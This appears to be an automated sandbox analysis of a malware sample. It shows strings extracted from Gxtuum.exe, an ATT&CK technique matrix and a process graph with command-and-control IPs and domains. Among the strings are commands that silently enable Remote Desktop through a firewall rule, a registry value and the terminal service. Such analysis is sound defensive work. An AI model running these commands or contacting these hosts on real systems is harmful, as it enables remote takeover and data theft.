                              Source: Gxtuum.exe, 00000025.00000002.2596732466.00000000002F1000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
                              Source: Gxtuum.exe, 00000025.00000000.2594215239.00000000002F1000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: net start termservice
                              Source: Gxtuum.exe, 00000025.00000000.2594215239.00000000002F1000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
                              Source: Gxtuum.exe, 00000026.00000000.2605199027.00000000002F1000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: net start termservice
                              Source: Gxtuum.exe, 00000026.00000000.2605199027.00000000002F1000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
                              Source: Gxtuum.exe, 00000026.00000002.2931326382.00000000002F1000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: net start termservice
                              Source: Gxtuum.exe, 00000026.00000002.2931326382.00000000002F1000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_0017EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,5_2_0017EC48
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_0017DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,5_2_0017DF51

                              Mitre Att&ck Matrix

                              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                              Gather Victim Identity Information1
                              Scripting                              		Valid Accounts2
                              Windows Management Instrumentation                              		1
                              Scripting                              		1
                              DLL Side-Loading                              		1
                              Disable or Modify Tools                              		2
                              OS Credential Dumping                              		1
                              System Time Discovery                              		1
                              Remote Desktop Protocol                              		11
                              Archive Collected Data                              		1
                              Web Service                              		Exfiltration Over Other Network MediumAbuse Accessibility Features
                              CredentialsDomainsDefault Accounts11
                              Native API                              		1
                              DLL Side-Loading                              		1
                              Access Token Manipulation                              		11
                              Deobfuscate/Decode Files or Information                              		11
                              Input Capture                              		1
                              Account Discovery                              		Remote Desktop Protocol41
                              Data from Local System                              		14
                              Ingress Tool Transfer                              		Exfiltration Over BluetoothNetwork Denial of Service
                              Email AddressesDNS ServerDomain Accounts12
                              Command and Scripting Interpreter                              		12
                              Scheduled Task/Job                              		212
                              Process Injection                              		31
                              Obfuscated Files or Information                              		Security Account Manager24
                              File and Directory Discovery                              		SMB/Windows Admin Shares11
                              Input Capture                              		11
                              Encrypted Channel                              		Automated ExfiltrationData Encrypted for Impact
                              Employee NamesVirtual Private ServerLocal Accounts12
                              Scheduled Task/Job                              		1
                              Registry Run Keys / Startup Folder                              		12
                              Scheduled Task/Job                              		121
                              Software Packing                              		NTDS248
                              System Information Discovery                              		Distributed Component Object ModelInput Capture4
                              Non-Application Layer Protocol                              		Traffic DuplicationData Destruction
                              Gather Victim Network InformationServerCloud Accounts2
                              PowerShell                              		Network Logon Script1
                              Registry Run Keys / Startup Folder                              		1
                              Timestomp                              		LSA Secrets961
                              Security Software Discovery                              		SSHKeylogging125
                              Application Layer Protocol                              		Scheduled TransferData Encrypted for Impact
                              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                              DLL Side-Loading                              		Cached Domain Credentials12
                              Process Discovery                              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                              File Deletion                              		DCSync361
                              Virtualization/Sandbox Evasion                              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job113
                              Masquerading                              		Proc Filesystem1
                              Application Window Discovery                              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt361
                              Virtualization/Sandbox Evasion                              		/etc/passwd and /etc/shadow1
                              System Owner/User Discovery                              		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                              IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
                              Access Token Manipulation                              		Network Sniffing11
                              Remote System Discovery                              		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                              Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd212
                              Process Injection                              		Input Capture11
                              System Network Configuration Discovery                              		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

                              Behavior Graph

                              Hide Legend

                              Legend:

                              • Process
                              • Signature
                              • Created File
                              • DNS/IP Info
                              • Is Dropped
                              • Is Windows Process
                              • Number of created Registry Values
                              • Number of created Files
                              • Visual Basic
                              • Delphi
                              • Java
                              • .Net C# or VB.NET
                              • C, C++ or other language
                              • Is malicious
                              • Internet
                              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1579277 Sample: file.exe Startdate: 21/12/2024 Architecture: WINDOWS Score: 100 117 api.telegram.org 2->117 119 treehoneyi.click 2->119 121 4 other IPs or domains 2->121 143 Suricata IDS alerts for network traffic 2->143 145 Found malware configuration 2->145 147 Malicious sample detected (through community Yara rule) 2->147 151 15 other signatures 2->151 11 skotes.exe 37 2->11         started        16 file.exe 5 2->16         started        18 Intel_PTT_EK_Recertification.exe 2->18         started        20 4 other processes 2->20 signatures3 149 Uses the Telegram API (likely for C&C communication) 117->149 process4 dnsIp5 135 185.215.113.43, 49748, 49754, 49786 WHOLESALECONNECTIONSNL Portugal 11->135 137 31.41.244.11, 49760, 49787, 49809 AEROEXPRESS-ASRU Russian Federation 11->137 99 C:\Users\user\AppData\...\322c3dce5b.exe, PE32 11->99 dropped 101 C:\Users\user\AppData\...\4cdf81e042.exe, PE32 11->101 dropped 103 C:\Users\user\AppData\...\b7c03317c9.exe, PE32 11->103 dropped 109 11 other malicious files 11->109 dropped 189 Hides threads from debuggers 11->189 211 2 other signatures 11->211 22 b2885fa695.exe 11->22         started        26 5f0a381314.exe 8 11->26         started        29 b7c03317c9.exe 11->29         started        39 4 other processes 11->39 105 C:\Users\user\AppData\Local\...\skotes.exe, PE32 16->105 dropped 107 C:\Users\user\...\skotes.exe:Zone.Identifier, ASCII 16->107 dropped 191 Detected unpacking (changes PE section rights) 16->191 193 Tries to evade debugger and weak emulator (self modifying code) 16->193 195 Tries to detect virtualization through RDTSC time measurements 16->195 31 skotes.exe 16->31         started        197 Antivirus detection for dropped file 18->197 199 Multi AV Scanner detection for dropped file 18->199 201 Suspicious powershell command line found 18->201 213 3 other signatures 18->213 33 powershell.exe 18->33         started        35 explorer.exe 18->35         started        139 212.193.31.8, 49830, 49849, 49859 SPD-NETTR Russian Federation 20->139 203 Creates files in the system32 config directory 20->203 205 Contains functionality to start a terminal service 20->205 207 Injects code into the Windows Explorer (explorer.exe) 20->207 209 Tries to harvest and steal browser information (history, passwords, etc) 20->209 37 powershell.exe 20->37         started        41 2 other processes 20->41 file6 signatures7 process8 dnsIp9 123 cheapptaxysu.click 104.21.67.146, 443, 49805, 49810 CLOUDFLARENETUS United States 22->123 153 Antivirus detection for dropped file 22->153 155 Multi AV Scanner detection for dropped file 22->155 157 Detected unpacking (changes PE section rights) 22->157 175 7 other signatures 22->175 91 C:\Users\user\AppData\Local\Temp\...\7z.exe, PE32+ 26->91 dropped 93 C:\Users\user\AppData\Local\Temp\...\7z.dll, PE32+ 26->93 dropped 159 Contains functionality to register a low level keyboard hook 26->159 43 cmd.exe 2 26->43         started        125 httpbin.org 98.85.100.80 TWC-11351-NORTHEASTUS United States 29->125 127 home.fivetk5ht.top 185.121.15.192 REDSERVICIOES Spain 29->127 161 Tries to detect sandboxes and other dynamic analysis tools (window names) 29->161 163 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 29->163 165 Hides threads from debuggers 29->165 167 Machine Learning detection for dropped file 31->167 169 Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors) 31->169 177 3 other signatures 31->177 46 PING.EXE 33->46         started        49 conhost.exe 33->49         started        51 conhost.exe 37->51         started        53 PING.EXE 37->53         started        129 api.telegram.org 149.154.167.220 TELEGRAMRU United Kingdom 39->129 131 drive.google.com 172.217.17.46, 443, 49846, 49852 GOOGLEUS United States 39->131 133 3 other IPs or domains 39->133 95 C:\Users\user\AppData\Local\...behaviorgraphxtuum.exe, PE32 39->95 dropped 97 C:\Program Files\...\graph.exe, PE32+ 39->97 dropped 171 Contains functionality to start a terminal service 39->171 173 LummaC encrypted strings found 39->173 55 Gxtuum.exe 39->55         started        57 graph.exe 39->57         started        59 conhost.exe 39->59         started        file10 signatures11 process12 dnsIp13 181 Uses cmd line tools excessively to alter registry or file data 43->181 61 in.exe 1 43->61         started        65 7z.exe 2 43->65         started        67 7z.exe 3 43->67         started        69 9 other processes 43->69 141 127.1.10.1 unknown unknown 46->141 183 Multi AV Scanner detection for dropped file 55->183 185 Contains functionality to start a terminal service 55->185 187 Machine Learning detection for dropped file 55->187 signatures14 process15 file16 111 C:\Users\...\Intel_PTT_EK_Recertification.exe, PE32+ 61->111 dropped 215 Suspicious powershell command line found 61->215 217 Uses cmd line tools excessively to alter registry or file data 61->217 219 Uses schtasks.exe or at.exe to add and modify task schedules 61->219 71 powershell.exe 61->71         started        74 attrib.exe 1 61->74         started        76 attrib.exe 1 61->76         started        78 schtasks.exe 61->78         started        113 C:\Users\user\AppData\Local\Temp\...\in.exe, PE32+ 65->113 dropped signatures17 process18 signatures19 